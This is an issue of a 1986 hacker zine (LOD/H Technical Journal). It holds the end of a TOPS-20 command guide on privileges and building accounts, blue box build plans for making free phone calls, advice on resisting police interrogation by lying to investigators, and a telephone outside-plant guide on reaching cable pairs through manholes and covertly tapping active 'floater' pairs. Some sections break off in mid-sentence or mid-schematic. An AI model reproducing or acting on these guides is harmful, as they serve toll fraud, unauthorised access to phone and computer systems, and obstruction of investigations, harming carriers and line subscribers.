SMITH. To find out the privileges of an +account, type: +@I DIR +This can always be done to the account logged in under, and sometimes to other +accounts depending on access rights and the security of the other account. This +command prints out information regarding the account specified. It will even +show passwords on pre-6.x versions of TOPS if one has sufficient privs. In +general the two major levels of privs are full and normal. Full privs are +denoted by OPERATOR or WHEEL in the privilege information printed. This level +gives the user complete authority over the system. The normal level of privs +means anything else but OPERATOR or WHEEL. These forms of accounts have limited +access with respect to system operations and other accounts. Access to certain +programs, files, and information is restricted to whatever extent the system +owners choose. Other minor privilege abilities enable the user to perform +slightly more than completely normal users, and sometimes may be of importance +depending on the circumstances. + Creation and modification of accounts is done through the BUIld command. +Example: +@BUILD +Where is the account to be modified (already exists) or an account +to be created (non-existant). Depending on the privs of the account attempting +to build and system restrictions, one may have a great deal or virtually no +power to create and modify. On most systems, only wheels and operators can +create top level accounts (loginable non-subdirectory accounts). File storage +sub-accounts can be created almost anywhere. These are simply accounts in which +files are put, and these accounts cannot be logged into. To see what options +have been chosen for the account being built, simply type: +@@LIST +Other options for the account being built are as follows: +1) WHEEL: This gives the account wheel (complete) privileges. If this option is +chosen, then others may be excluded for it is all-encompassing, it overrides +any and all protection. +2) OPERATOR: Same as wheel. +3) DECNET-ACCESS: This allows the account to use the decnet, assuming there is +one available. DECNET and other nets will be explained in the advanced article. +4) ARPANET-ACCESS: Allows user to use the Arpanet. +5) ARPANET-WIZARD: This command allows the user ARPANET ACCESS and more. This +account has the ability to turn the Arpanet software of the system on and off. +The commands are as follows: +$DESET ARPA ON +$DESET ARPA OFF +Use of DE will be discussed in the next article. The dollar sign for the +system prompt is explained later. +6) IPCF: Allows Inter-Process Communication Facility capabilities. +7) DEFAULT-FILE-PROTECTION: Sets the protection of the files in the user's +directory. The lower, the more secure. +8) PROTECTION-OF-DIRECTORY: Sets protection of the actual account itself. This +means who can connect to it, modify it, etc. Once again, the lower the +protection, the more secure it is against others. +9) PASSWORD: Sets the password for the account. Type PASSword with the actual +password after it. +10) KILL: This destroys the account. This command removes the account from the +system. +To complete the creation/modification, type two carriage returns. + + The system will not recognize the user as having its various privileges +unless it is told that they are there. This is done thusly: +@ENAble +This enables all the user's privileges and changes the prompt to a '$'. All +accounts, even wheels, are considered normal until enabled, so this must always +be done before an action requiring privileges is performed. It is fine to do +this immediately after logging in and leaving it like that, for it does not +save any adverse effects. At all places in this article where there is a '@', +if enabled would be a '$'. + + SECTION IV: DIRECTORY USAGE + + Directories are storage places for files. Each account has a directory in its +own name, and possibly one or more subdirectories. To see what files are in the +directory connected to at the moment, type the command DIRectory: +@DIR +This will list what files, if any, are accesable in this directory. At the time +of login the computer sets the account's own directory as the one to be +connected to unless otherwise specified by such things as login adjustment +files (to be discussed at a later date.) Subdirectories of an account are +denoted by a period between the account name and directory name. Example: + +Subdirectories are dealt with as normal directories for purposes of usage. +Dealings with directories other than the current default directory require the +use of brackets. For example, if one wanted to look in a directory titled +, he would have to type: +@DIR +And assuming his directory is not protected, a list of files in the +directory will be produced. The current default directory (the one connected +to) does not require brackets for usage. Most directory commands may be used on +other directories by simply placing the object directory (one to be commanded) +in brackets after the command. + Here is a list of some of the more important directory related commands: + +1) ACCESS: This command requires the password of the target directory and, if +correctly given, transfers rights to that directory including creation/deletion +of files, etc. The format for usage is: +@ACCESS +2) CONNECT: This changes the current default directory to the specified one. It +may be countered, though, by protection. If ACCESS to the object directory is +on then connection may be established regardless of protection. The command is +used like this: +@CONNECT +3) COPY: This duplicates an already existing file in another directory to the +current default directory or another specified directory. The format is: +@COPY FILENAME.FILETYPE +to copy it to the default directory, or: +@COPY FILENAME.FILETYPE FILENAME.FILETYPE +to copy it to another directory. +4) DELete: Deletes the file from the directory. It still exists and may be +retrieved until it is completely removed. +5) EXPunge: Completely removes deleted files from the system forever. +6) FDIRectory: Lists all information about all files in directory. +7) RENAme: Rename a specified file. The format is: +@RENAme FILENAME.FILETYPE NEWFILENAME.FILETYPE +8) UNDELete: Restores deleted files which have not been expunged yet. +9) VDIRectory: List all information about all files in directory specified, +including protection, size, and date and time when they were last written. + + Files in directories are in the form of: +FILENAME.FILETYPE.# +where filename is the name of the file, filetype is the kind of file, and # +is the number of the file. If there is more than one file with the same name, +multiple numbers will be shown. If a number is left out when a command dealing +with a file is typed, then the file with the highest number will be used. + Here is a list of filetypes and how to properly use them: + +1) .BAS: These are files written in basic. To use these, type BASIC or BASIC20 +and LOAD them in and RUN, LIST, or modify them in the basic language and SAVE. +2) .BIN: These are binary files containing program data and are generaly not +directly used. +3) .CMD: These are command files. They are files of a series of commands to be +executed. Commands will be carried out as if typed by the user from the exec +level. To use them, type: +@TAKE FILENAME.CMD +They are very useful for performing long processes which must be done often. +4) .CTL: This is a control file for batch jobs. It tells the batch job what to +do when it logs in. Batch jobs are jobs logged into the account which created +it to carry out commands. Further discussion of batch jobs is in the next +TOPS article. The format for usage of these files are: +@SUBmit FILENAME.CTL +5) .EXE: Files of this sort are executable from the exec level. They are +assembled programs in machine language and the fastest sort of program on the +TOPS. To use them, type: +@FILENAME.EXE +6) .HLP: This is basically just a text file. Use the same command as the .TXT +forms of files. If a file of this sort is placed within the actual +directory, it becomes available to the whole system by simply typing: +@HELP FILENAME +All information obtained through the HELP command is actually in the form of +files in the directory. +7) .INIT: These are initialization routines for various programs. They are not +used directly. +8) .LOG: This is the output of batch jobs. It details the actions of the job +and the responses of the computer. To view, do this: +@TYpe FILENAME.LOG +9) .MEM: This is a memorandum. Often times being inter-office memos and the +like. Use them as any normal text file. +10) .TEXT: This is the uncommon filetype name for a text file. See .TXT for +proper usage. +11) .TXT: These are text files. They contain written information and data to be +read. The command for using them is as follows: +@TYpe FILENAME.TXT + + To use files in other directories, type the directory name in brackets before +the filename. Ex: +@TYpe SECRET.TXT +This applies for all filetypes and commands. Once again restrictions may apply +with regard to protection. + + SECTION V: SYSTEM-WIDE COMMUNICATIONS + + Communication to other system users is done primarily two ways: direct and +indirect. Direct includes chatting with another online user and such, while +indirect is generally done through electronic mail and the like. + Here are the common commands of direct communication: + +1) ADVISE: When this is done, whatever is typed at one terminal is executed at +another. For example: + @ADVISE USERNAME +Then, whatever is typed will be carried out as if typed from that terminal +until the link is broken. +2) BReak: This breaks all links to the terminal typing BReak. +3) RECEIVE: This allows the terminal to receive either LINKS or ADVICE, as +specified by the command. Ex: +@RECEIVE ADVICE +4) REFUSE: This puts up a barrier keeping links or advice from reaching the +terminal. REFUSE ADVICE is default when logging in, so in order receive advice, +one would have to type the proper command. +5) REMark: Goes into a chat state in which textual information is sent to the +computer and not interpreted as commands. +6) TALK: Establishes a link between two terminals. Ex: +@TALK SMITH +would establish a link with SMITH. Whatever is typed is seen by both parties. +REMark is useful here if a conversation is to ensue. + + Electronic mail can be sent and read through various programs. The most +common ones being MM, MAIL, MS, and RDMAIL. Users are informed when they have a +message waiting upon logging in. Mail is stored in the file MAIL.TXT in the +user's directory. MM and MS are the best mail programs and should be the ones +used, so here is a very brief explanation of the major commands they both +use (they are very similar). + 1) SEND: This is the command used to send mail to another user. At the prompt +of the respective mail program, type SEND and a carriage return, the +computer will prompt for information such as the user for the message to be +sent to, other users to receive a copy of the message, and the title of the +piece of mail. +2) READ: This command, if typed with no argument, will start reading all +currently unread mail. If used with the number of a piece of mail, it will +read that one alone. +3) HEADERS ALL: This will give a list of all the titles of the various pieces +of mail in the user's mailbox and the corresponding number of that mail. + Sending mail over networks will be discussed in the next article. Look for it +in the next issue of the Technical Journal. + + Blue Archer (LOH) + +The LOD/H Technical Journal: File #6 of 12 + + + +--------------------------------+ + | Building Your Own Blue Box | + +--------------------------------+ + | By | + | Jester Sluggo | + | Released: Nov. 27, 1986 | + +--------------------------------+ + + + + This Blue Box is based on the Exar 2207 Voltage Controlled Oscillator. +There are other ways to build Blue Boxes, some being better and some not as +good, but I chose to do it this way. My reason for doing so: because at the +time I started this project, about the only schematic available on BBS's was +the one written by Mr. America and Nickie Halflinger. Those plans soon (in +about 90 seconds) became very vague in their context with a couple in- +consistencies, but I decided to "rough it out" using those plans (based on the +Exar 2207 VCO) and build the Blue Box using that as my guide. During the +construction of the Blue Box, I decided to type-up a "more complete and clear" +set of Blue Box schematics than the file that I based mine on, in order to help +others who may be trying/thinking of building a Blue Box. I hope these help. + + Note: You should get a copy of the Mr. America/Nickie Halflinger Blue Box +plans. Those plans may be of help to anyone who may have difficulty +understanding these plans. Also, these plans currently do not support CCITT. + ++---------------------------------+ +| Why should I build a Blue Box ? | ++---------------------------------+ + + Many of you may have that question, and here's my answer. Blue Boxing was +the origin of phreaking (excluding whistling). Without the advent of Blue +Boxes, I feel that some of the advances in the telecommunications industry +would've taken longer to develop (The need to stop the phone phreaks forced +AT+T Bell Laboratories to "step up" their development to stop those thieves!). + There is no harm in building a Blue Box (except the knowledge you will +gain in the field of electronics). Although there are software programs (Soft +Blue Boxes) available for many micro's that will produce the Blue Box +Multi-Frequency (MF) tones, they are not as portable as an actual Blue Box (you +can't carry your computer to a telephone, so you must use it from home which +could possibly lead to danger). + Many phreaks are announcing the end of the Blue Box Era, but due to +discoveries I have made (even on ESS 1A and possibly ESS 5), I do not believe +this to be true. Although many people consider Blue Boxing "a pain in the +ass", I consider Blue Boxing to be "phreaking in its' purest form". There is +much to learn on the current fone network that has not been written about, and +Blue Boxes are necessary for some of these discoveries. The gift of free fone +calls tends to be a bonus. + + Note: Blue Boxes also make great Christmas gifts! + ++---------------------------------------+ +| Items needed to construct a Blue Box. | ++---------------------------------------+ + Here is the list of items you will need and where you can get them. It +may be a good idea to gather some of the key parts (the chips, and especially +the potentiometers, they took about 6 months to back order through Digi-key. A +whole 6 fucking months!) before you start this project. Also, basic +electronics tools will be necessary, and you might want to test the circuit on +a bread board, then wire-wrap the final project. Also, you will need a box of +some sort to put it in (like the blue plastic kind at Radio Shack that cost +around $5.00). + + Note: An oscilliscope should be used when tuning in the + potentiometers because the Bell system allows + only a 7-10% tolerance in the precision of the + frequencies. + +Qty.

Call them, and tell them the state you live in, and +they'll give the name and phone number to the distributor that is located +closest to you. The 2207 will vary from about $3.00 for the silicon-grade +(which is the one you'll want to use) to about $12.00 for the high-grade +Military chip. + Note: When you call Exar, you may want to ask them to send you the +spec-sheets that gives greater detail as to the operation and construction of +the chip. + + +-------------------+ + | Schematic Diagram | + +-------------------+ + + +--------------+ +-------------+ + | 1 2 3 A | | Figure #1 | + | 4 5 6 B | +-------------+ + | 7 8 9 C | | Logic Side | + | * 0 # D | +-------------+ + ++-+-+-+-+-+-+-+ + 1 | 3 | 5 | 7 | (VCC) + | 2 | 4 | 6 | 8 (+5 Volts) +----+ + | | | | | | | | [+] | _|_ + | | | | | | | | | | X_/GND + +--+-+-+-+-+-+-+-+----+ +--+----------+---+ + | 2 | 11| 10| 7 | | | 14 7 | + (.01C) | | 3 | 4 | 8 | 1 12+------+1 | + +--||---+5 13+------+2 (*74C04*) | + _|_ | | | | + X_/GND | (*74C922*) | +-----------------+ + +--||-+6 | + |(.1C)| | + _|_ | | + X_/GND | 9 17 16 15 14 18| + +--+--+--+--+--+---+--+ + | | | | | | + _|_ A B C D | + GNDX_/ | | | | [+] (VCC) [+] (VCC) + | | | | (+5 volts) | (+5 volts) + | | | | | + -------+--+--+--+------------------+----------------- + | 23 22 21 20 24 18+-+ + +-----+12 | +--+ + | | (*74LS154*) 19+-+ _|_ + _|_ | | X_/ + X_/GND | 1 2 3 4 5 6 7 8 9 10 11 13 14 15 16 17 | GND + +--+--+--+--+--+--+--+--+--+-+--+--+--+--+--+--+----+ + 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 + | | | | | | | | | | | | | | | | + | (Connects) + | +----------> + +------------------------+ | (Figure 2) + | +--+ +-------+ + | | | | + +--+-------+--+-------+---+ + | 3--|>o--4 5--|>o--6 | + | (Invtr.)

Egads!) + + + + Jester Sluggo + +The LOD/H Technical Journal: File #7 of 12 + + + Intelligence and Interrogation Processes + By: Master Of Impact and the Legion Of Hackers + + + INTRODUCTION: + ============= + + Doing what we do best always carries the risk of someone, somewhere, wanting +to hold you for questioning. In this article I hope to give those persons who +that are in use (and are in no ways happen to be all new), that can give you +the edge you need to come away "sin faulta". In fact, these interrogation +practicies are used a lot by teachers, local police, the FBI and Secret Service +girlfriends, wives, parents, etc. to obtain information from you that you +probably don't want to give out. + + Interrogation is the art of questioning and examining a source in order to +obtain the maximum amount of useful information. The goal of any interrogation +is to obtain useful and reliable information in a lawful manner and in a +minimum amount of time. The goal of any source is to deceive or hinder any +attempts of the interrogator to get information out of him. + + This article will deal primarily with the principles, techniques, and +procedures of intelligence interrogation. By reading this article, one +who runs the risk of being interrogated can build countermeasures for common +interrogation techniques. This article has some paraphrased material from a +government interrogation manual but the majority of the information was from +personal experience and prior knowledge of the subject. + + You cannot hope to defeat interrogation techniques unless you first know +what they are. The ones listed herein are the most commonly used. After reading +this article, you should be able to tell when you are being interrogated by +people, and what technique(s) they are using when you probably would not have +known before. Once you know what they are up to and how they are going to TRY +to accomplish it, YOU have the initiative! + + + INITIATIVE: + =========== + + Achieving and maintaining the initiative is essential to a successful +interrogation just as offense is the key to success in combat operations. The +initiative in any interrogation must rest with the interrogator throughout the +entire interrogation. He will have certain advantages at the beginning of an +interrogation which will enable him to grasp the initiative and assist in +maintaining the initiative throughout the interrogation. + + The interrogator has a position of authority over you. You realize this +fact, and in some cases, believe that your future might well depend upon your +association with the interrogator. As in the case of police questioning, +"cooperate and we will go easy on you". Like hell they will. + + The interrogator knows the purpose of the interrogation; the source does +not necessarily know the exact reason, but can generally assume (especially +in the case of a computer hacker or phone phreak, which is what the term +"source" will be referring to during this article) because he or she is most +usually conscious of horrible and nasty wrong-doings he or she may have been +responsible for. Unfortunately for the source, he is generally very much in +the dark about what's happening to his life while it is, in fact, crumbling +around him (temporarily, anyway). This gives the source a not-so-illusionary +behavior pattern of the proverbial chicken who's had its head chopped off. + + Having gained the initial advantage which is quite an understatement, +seeing that, although the risks to the source during the perpetration of +a crime are quite obvious, the possible realistic results of being caught +aren't quite as impressive while one is getting away with a crime than when +one's home is invaded by the JC Penny-suit men wearing mirrored sunglasses, +the interrogator must strive to maintain the initiative applying appropriate +interrogation techniques through the exercise of self-control; by taking +advantage of the source's weaknesses as they become apparent; and by +continuously displaying an attitude of confidence and self-assurance. The +interrogator, however, is 'supposed' to never take advantage of your weaknesses +to the extent that the interrogation involves threats, insults, torture +or exposure to unpleasant or inhumane treatment of any kind. Remember, the +keyword is supposed. + + It is possible for the interrogator to lose the initiative during the +interrogation of a source. If this should occur, he will probably postpone the +interrogation and reassess the situation. If the interrogation is resumed, a +different interrogator will probably be introduced. Following are some examples +of loss of initiative: + +* The interrogator becomes angry and completely loses his self-control because + of the arrogant actions of the source (such as the unbuttoning of a jacket + to reveal "Secret Service Sucks" spray painted onto the source's T-shirt.) + As a result, the interrogator loses sight of his objective and concentrates + his efforts on humbling the source. + +* During the interrogation the interrogator fails to note significant + discrepancies in the source's story. The interrogator may lose his initiative + as the source gains confidence from his success and resorts to further + deception, leading the interrogator away from his objective. + +* The interrogator becomes overly friendly with the source and allows him to + lead the interrogation. The source reports only what he believes to be + important and neglects several significant items of info which could have + been obtained had the interrogator maintained the initiative. + + + PHASES OF INTERROGATION: + ======================== + + Approach Phase: + --------------- + + Regardless of the type of source you are and your outward personality, you +do possess weaknesses which, if recognized by the interrogator, can be +exploited. A human being is likely to: + + o Talk, especially after harrowing experiences + o Show deference when confronted by superior authority + o Rationalize acts about which he feels guilty + o Lack the ability to apply or to remember lessons he may have been + taught regarding security if confronted with a disorganized or a + strange situation. + o Cooperate with those who have control over him + o Attach less importance to a topic which the interrogator demonstrates + identical or related experiences and knowledge + o Appreciate flattery and exoneration from guilt + o Cooperate readily when given material rewards + o Cooperate readily when treated as an equal + + + TECHNIQUES: + =========== + + "File and Dossier" + ---------------- + + The interrogator prepares a dossier containing all available info obtained +from records and docs concerning you. Careful arrangement of the material with- +in the file may give the illusion that it contains more data than is actually +there. The file may be "padded" with extra paper, if necessary. Index tabs with +titles such as "education", "employment", "criminal record", "bulletin boards", +"violated computer systems", and others are particularly effective for this +purpose. The interrogtor will confront you with the dossier at the beginning of +the interrogation and explain that "intelligence" has provided a complete +record of every significant happening in your life; therefore, it would +be useless to resist interrogation. The interrogator may read a few selected +bits of known data to further impress you. If the technique is successful, you +will be impressed with and more importantly, terrified by the "voluminous" +file, conclude that everything is known, and resign to complete cooperation. + + + "We know ALL" + ----------- + + This technique may be employed in conjunction with the above or by itself. +The interrogator must first become thoroughly familiar with the available data +concerning you. To begin the interrogation, the interrogator asks questions +based on his known data. When you hesitate, refuse to answer, or provide an +incomplete or incorrect reply, the interrogator himself provides the detailed +answer. Through the careful use of the limited number of known details, the +interrogator may convince you that all the info is already known; therefore, +your answers to the questions are of no consequence. When you begin to give +accurate and complete information, the interrogator interjects questions +designed to gain the needed info. Questions to which answers are already known +are also asked to test you and to maintain the deception that all the info is +already known. A VERY effective technique I might add. + + + "Rapid Fire" + ---------- + + This approach technique involves a psychological ploy based on the principles +that: + + * Everyone likes to be heard when they speak; and + + * It is confusing to be interrupted in mid-sentence with an unrelated + question. + + This technique may be used with one, or simultaneously by two or more +interrogators in questioning the same source. In employing this technique the +interrogator asks a series of questions in such a manner that you do not have +time to answer a question completely before the next question is asked. This +tends to confuse you and you are apt to contradict yourself, as you have little +time to prepare your answers. The interrogator then confronts you with the +inconsistencies, causing further contradictions. In many instances you +will begin to talk freely in an attempt to explain yourself and deny the +inconsistencies pointed out by the interrogator. In attempting to explain your +answers, you are likely to reveal more than you intend, thus creating +additional leads for the interrogator. + + + "Mutt and Jeff" + ------------- + + This technique involves a psychological ploy which takes advantage of the +natural uncertainty and guilt which a source has as a result of being detained +and questioned. Use of this technique necessitates the employment of two +experienced interrogators who are convincing as actors. Basically, the two +interrogators will display opposing personalities and attitudes towards you. +For example the first interrogator is very formal and displays an unsympathetic +attitude. This is to make you feel cut off from your friends. At the time when +you act hopeless and alone, the second interrogator appears (having received +his cue by a signal, and is hidden from you), scolds the first interrogator for +his harsh behavior and orders him from the room. He then apologizes to soothe +you, perhaps offering coffee and a cigarette. He explains that the actions of +the first interrogator were largely the result of an inferior intellect and +lack of human sensitivity. The inference is created that the other interrogator +and you have in common a high degree of intelligence and an awareness of human +sensitivity, above and beyond that of the first interrogator. You are normally +inclined to have a feeling of gratitude towards the second interrogator, who +continues to show a sympathetic attitude in an effort to increase the rapport +and control for the questioning which will follow. Should your cooperativeness +begin to fade, the second interrogator can hint that since he is of high rank, +having many other duties, he cannot afford to waste time on an uncooperative +source. He may broadly infer that the first interrogator might return to +continue the questioning. When used against the proper source, this trick will +normally gain complete cooperation for the interrogation. + + + "Repetition" + ---------- + + Repetition is used to induce cooperation from a hostile source. The inter- +rogator listens carefully to your answer to a question, and then repeats both +the question and answer several times. He does this with each succeeding +question until you become so bored with the procedure that you answer the +question fully and truthfully to satisfy the interrogator and to gain relief +from the monotony of this method of questioning. The repetition technique will +generally not work when employed against introverted sources or those having +great self control. + + + "Pride and Ego" + ------------- + + This technique works effectively on many phreaks and hackers due to the fact +that many are so damn egotistical. The strategy is to trick you into revealing +desired information by flattering you. It is effective with sources who have +displayed weaknesses or feelings of inferiority. The interrogator accuses you +of weakness or implies that you are unable to do a certain thing. The proud or +egotistical source will jump to the defensive. An example of an opening +question for this technique may be: "Why would you own a blue box when you +have absolutely no idea how to use one?" or, "Why do you hack VMS systems if +you can't do a damn thing once you're inside of one?" It provides you with the +opportunity to show someone that you have "brains" and in doing so, you give +the interrogator more information than you should have. + + + "Silent" + ------ + + The Silent technique may be successful when used against either the nervous, +or the confident-type source. When employing this technique, the interrogator +says nothing to you, but looks you squarely in the eye, probably with a slight +smile on his face. It is important for the interrogator not to look away from +you, but force you to break eye contact first. You will become nervous, begin +to shift around in your chair, and look away. If you ask questions the +interrogator probably will not answer them until he is ready to break the +silence. A source may blurt out questions such as, "What the hell do you want +with me". When the interrogator is ready to break the silence, he may do so +with some quite nonchalant questions such as, "You've been logging on to our +system for a long time now, haven't you? Did you hack the passwords yourself?". + + In some cases the interrogator will use several approach techniques +concurrently, or in succession. + + + QUESTIONS: + ========== + +There are various questions that the interrogator may ask you: + +* Prepared questions: When the topic under inquiry is very technical or when + legal aspects of the interrogation require preciseness, the interrogator will + have a list of prepared questions to follow during the interrogation. + +* Control questions: To maintain control and to check on the truthfulness of + a source, the normal questions will be mixed with control questions-those + with known answers. If you fail to answer these questions, or answer wrong, + it will indicate that you are either not knowledgeable in the topic or that + you are lying. + +* Nonpertinent questions: Sometimes it is necessary for the interrogator to + keep the true objective of the interrogation from you. By carefully blending + pertinent questions with nonpertinent questions, the interrogator can conceal + the true purpose of the inquiry. + +* Direct and leading questions: The manner in which the questions are worded + has a direct bearing on your response. A question may be posed in a number + of ways: + + o "What system did you hack into on 11/11/86?" + + o "Did you break into General Dynamics' computer on 11/11/86?" + + o "You did break into GD's computer on 11/11/86?" + + o "You didn't break into GD'S computer on 11/11/86, did you?" + + + + PSYCHOLOGY IN INTERROGATION: + ============================ + +The interrogator will watch for various psychological responses from you during +an interrogation. Some of these are: + +* Rationalization: Creating plausible excuses or explanations for one's acts + without being aware that these excuses or explanations are way off the + [obvious] reality. + +* Identification: To identify with and mimic a mental image of some one + important to you. + +* Compensation: Trying to make up for a psychological weakness by building + up or exaggerating a psychological strength. + +* Exhibitionism: Showing off, bragging, etc. + +* Fear, Anger, Frustration, etc. + +Of course when being interrogated, you should remain as emotionless as possible +and never show anger, or get upset (NEVER inflict physical abuse upon the +unsuspecting interrogator. This only creates tension between both the inter- +rogator and yourself). Your every move, every response, every action is noted +and used by the interrogator to get you to screw up and give him what he wants. + +There can be two main objectives that you can obtain when being interrogated. +The first is to find ways to force the interrogator to lose his initiative. You +can do this in many ways. A few that come to mind are: Repeat everything the +interrogator says. Mimic the interrogator. Laugh at the interrogator. Basically +piss the interrogator off and make him so mad that he loses sight of his +objective. This may however, get you in deeper trouble, but it may give you +extra time while another interrogator is found. + +Lie like hell to the interrogator and piss him off. Such as the pathological +liar gimmick: "I broke into the NSA's computer, yeah, and then used their +network to get into the presidents private computer yeah that's it, the +password was uh...Bonzo, yeah, and then used it to take control of a satellite +used for Star Wars, and made it land right on top of the Kremlin, yeah that's +the ticket!" + +You can also change the subject over and over again to totally unrelated things +such as: its a nice day out today, hows the wife and kids, how about some food, +who do you think is going to the superbowl, etc. + +The other and probably better objective is simply to pretend to fall for any of +the various techniques used against you and feed the interrogator more and more +bullshit, of course being very sincere. This way he gets totally bogus +information while thinking you are cooperating fully. + +Well, I hope you never have to put this article to use in a legal manner, but +you would be surprised how everyday you are interrogated without even +realizing it by normal people who probably don't realize they are interrogating +you! + +As stated in the other articles, you can reach me for comment via the staff +account. + +MofI (LOH) + + +The LOD/H Technical Journal: File #8 of 12 + +*** NOTE *** +BECAUSE OF THE LENGTH OF THIS GUIDE, IT HAS BEEN BROKEN INTO TWO PARTS FOR +TRANSMISSION. HOWEVER, IT IS ONE VOLUME, AND IS INTENDED TO BE PRINTED AS +A WHOLE FOR USE AS BOTH A TUTORIAL AND A REFERENCE GUIDE. + + ********************************* + + The Legion of Doom! + Presents: + + ------------- + + LOD Reference Guide Vol. I + + Outside Loop Distribution Plant + + -------------- + + Written 12/86 Phucked + Revision III Agent + 04 + + ********************************* + + +---------------------- +INTRODUCTION / OUTLINE +---------------------- + + Basically, the outside local loop distribution plant consists of all +of the facilities necessary to distribute telephone service from the central +office (CO) out to the subscribers. These facilities include all wire, cable, +and terminal points along the distribution path. In this article, we shall +follow this path from the CO to the subscriber, examining in depth each major +point along the route and how it is used. This is especially useful for +checking if any 'unauthorized equipment' is attached to your line, which would +not be attached at the Central Office. I suppose this article can also be +interpreted to allow someone to do just the opposite of its intended purpose... + + Note that this article is intended as a reference guide for use by +persons familiar with the basics of either LMOS/MLT or the operation of the +ARSB/CRAS (or hopefully both), because several references will be made to +information pertaining to the above systems/bureaus. I have no manuals on this +topic, all information has been obtained through practical experience and +social engineering. + + ******************** + +-------------------------------- +Serving Area Concepts (SAC) plan +-------------------------------- + + In order to standardize the way loop distribution plants are set up in +the Bell System of the U.S. (and to prevent chaos), a reference standard design +was created. For urban and suburban areas, this plan was called the Serving +Area Concepts (SAC) plan. Basically, in the SAC plan, each city is divided +into one or more Wire Centers (WC) which are each handled by a local central +office switch. A typical WC will handle 41,000 subscriber lines. Each WC is +divided into about 10 or so Serving Areas (depending on the size and population +of the city), with an average size of 12 square miles each (compare this to the +RAND (Rural Area Network Design) plan where often a rural Serving Area may +cover 130 square miles with only a fraction of the number of lines). Each +Serving Area may handle around 500-1000 lines or more for maybe 200-400 hous- +ing units (typically a tract of homes). + From the CO, a feeder group goes out to each Serving Area. This con- +sists of cable(s) which contain the wire pairs for each line in the SA, and +it is almost always underground (unless it is physically impossible). These +feeder cables surface at a point called the Serving Area Interface (SAI) in a +pedestal cabinet (or "box"). From the SAI, the pairs (or individual phone +lines) are crossed over into one or several distribution cables which handle +different sections of the SA (ie. certain streets). These distribution cables +are either of the aerial or underground type. The modern trend is to use +buried distribution cables all the way to the subscriber premises, but there +are still a very large number of existing loop plants using aerial distribu- +tion cables (which we will concentrate mainly upon in this article). These +distribution cables are then split up into residence aerial drop wires (one +per phone line) at a pole closure (in aerial plant), or at a cable pair to +service wire cross box (in buried plant). The cable pairs then end up at the +station protector at the customer's premises, where they are spliced into the +premise "inside wire" (IW) which services each phone in the customer's premi- +ses (and is also the customer's responsibility). + Although this is the "standard" design, it is by no means the only +one! Every telco makes it's own modifications to this standard, depending +on the geographic area or age of the network, so it's good to keep your eyes +and your mind open. + + ******************** + +At this point, we will detail each point along the Loop Distribution Plant. + +----------------------------- +Cable Facility F1 - CO Feeder +----------------------------- + + The F1 cable is the feeder cable which originates at the Main Distribu- +tion Frame (MDF) and cable vault at the local CO and terminates at the SAI. +This cable can contain from 600 to over 2000 pairs, and often more than one +physical F1 cable is needed to service a single Serving Area (at an SAI). +The F1 is almost always located underground, because the size, weight, and +number of feeders leaving the CO makes it impossible to put them on normal +telephone poles. Since is is also impractical to use one single piece of +cable, the F1 usually consists of several pieces of large, pressurized or +armored cable spliced together underground (this will be covered later) into +a single cable. + +Cable Numbering +--------------- + + In order to make locating cables and pairs easier (or possible, for +that matter), all of the cables in the loop distribution plant are numbered, +and these numbers are stored in databases such as LMOS at the ARSB or other +records at the LAC (Loop Assignment Center) or maintenance center. When trying +to locate someone's cable pair, it helps a great deal to know these numbers +(although it can be done without them with experience and careful observa- +tion). Probably the most common place to find these numbers is on a BOR, +in the "Cable & Assignment Data" block. The F1 is usually assigned a number +from 00 to 99 (although 000-999 is sometimes used in large offices). Cable +>pair< numbering is different however, especially in older offices; typical F1 +pair numbers range from 0000 to 9999. Keep in mind that the pair number is not +concrete -- it is merely nominal, it can change, and it doesn't necessarily +have any special meaning (in some well organized offices, however, the cables +and pairs may be arranged in a certain way where you can determine what area +it serves by its number (such as in my area...heh heh); in any case, it's up +to you to figure out your area's layout). Anyway, the cable-pair number is +usually written in a format such as 02-1495, where 02 is the cable and 1495 is +the pair (incidentally, since this is the CO Feeder cable pair that is connect- +ed to the MDF, it is the one that will be listed in COSMOS). + +F1 Access Points +---------------- + + Although the F1 is run underground, there is really not a standard +access point down there where a certain pair in a cable can be singled out +and accessed (as will be explained next). There is, however, a point above +ground where all the pairs in the F1 can be accessed -- this point is known +as the Serving Area Interface (SAI), and it will be detailed later. In LMOS +or other assignment records, the address of the SAI will be listed as the +TErminal Address (TEA) for the F1 cable handling a certain pair in question; +therefore, it is where facility F1 stops. + + +----------------- +Underground Plant +----------------- + + The term "Underground Plant" refers to any facilities located below +the surface of the earth; this includes truly "buried" cables, which are +located 6-or-so feet underground surrounded basically by a conduit and dirt, +as well as cables placed in underground cement tunnels along with other +"below-ground" equipment (such as seen in most urban areas). Whereas the +first type is really impossible to access (unless, of course, you want +to dig for a day or so and then hack into an armored, jelly-filled PIC cable-- + then you should take a bit of advice from our resident Icky-PIC "Goo" advisor, +The Marauder), the latter type can be accessed through manholes which lead to +the underground tunnel. + +Manholes +-------- + + Bell System manholes are usually found along a main street or area +where a feeder cable group passes through. Using an underground cable +location map is the best method for locating cable paths and manhole appear- +ances, although it may not always be available. These maps can be acquired +from the Underground Service Alert (USA) (at 800-422-4133), but often a +"cable locator" will be dispatched instead (usually he will just mark off +how far down or where you can dig without hitting a cable), so this is not +a very practical method. Of course, you can always follow the warning signs +on telephone poles ("call before you dig", etc) and the spans between SAI +bridging heads until you find a manhole. The F1 for the SAI nearest the +manhole should be found down there along with others en route to the areas +they serve. + There are several types of manhole covers, both round and rectangular. +The rectangular ones are sometimes just hinged metal plates covering an under- +ground terminal or cable closure, and these are easily opened by one person. +A non-hinged one may require two people. Round manhole covers (which, by the +way, are round so that a lineman can't accidentally drop the cover down the +hole) are basically all the same, except for the types known as "C" and "D" +type manhole covers which utilize locking bolts (these can be removed using a +standard crescent or hex socket wrench). These covers are the same as the +order. This is aided even further by the fact that since F1's usually last +longer than F2 facilities, there are often more spare provisional F2 facili- +ties in the loop plant (ie. 100 feeders in, 300 F2 out (200 aren't cross- +connected to F1's)). So there is a good chance that you will find one that is +distributed to your area. Other spare facilities include "floaters", which +are like spare feeder pairs, except they are ACTIVE lines. Often, a telco will +extend whole feeder groups to more than one SAI in provision for future expan- +sion, including active cable pairs. If you find a working pair on a feeder +panel which is not cross-connected to a distribution pair, that pair is a +floater. This is by far the best way to covertly access a certain pair, +because most linemen will probably not be aware of the pair's presence (it +looks unused on the surface). Beware! If you think you can hook up to +someone's floater and get free service, you're probably wrong (so many other +people have been wrong, in fact, that Pacific Bell has a special "Form K-33" +to report this type of fraud), because the telco is more aware of this than +you may think. Obviously any toll call 